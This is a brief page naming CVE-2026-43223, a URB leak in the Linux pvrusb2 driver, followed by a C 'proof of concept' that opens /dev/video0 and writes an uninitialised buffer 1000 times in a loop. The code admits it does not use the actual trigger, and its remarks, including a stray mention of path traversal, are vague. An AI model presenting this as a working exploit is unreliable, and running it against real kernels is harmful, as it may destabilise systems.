CVE-2026-43223: Linux内核pvrusb2驱动URB泄漏漏洞

/* * PoC for CVE-2026-43223 * This code attempts to trigger the URB leak by interacting with the device. * Compile: gcc -o poc_exploit poc_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/video0" // Assuming pvrusb2 device node int main() { int fd, i; char buffer[256]; printf("[+] Attempting to open pvrusb2 device...\n"); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return -1; } printf("[+] Device opened. Sending requests to trigger URB leak...\n"); // Loop to stress the driver and potentially hit the error path for (i = 0; i < 1000; i++) { // Attempting to interact with the device. // In a real scenario, specific IOCTLs or writes that map to // pvr2_send_request_ex would be used to induce the read failure. if (write(fd, buffer, sizeof(buffer)) < 0) { // Errors here might indicate memory pressure or path traversal perror("[-] Write failed"); } } close(fd); printf("[+] Done. Check dmesg for 'URB submitted while active' warnings.\n"); return 0; }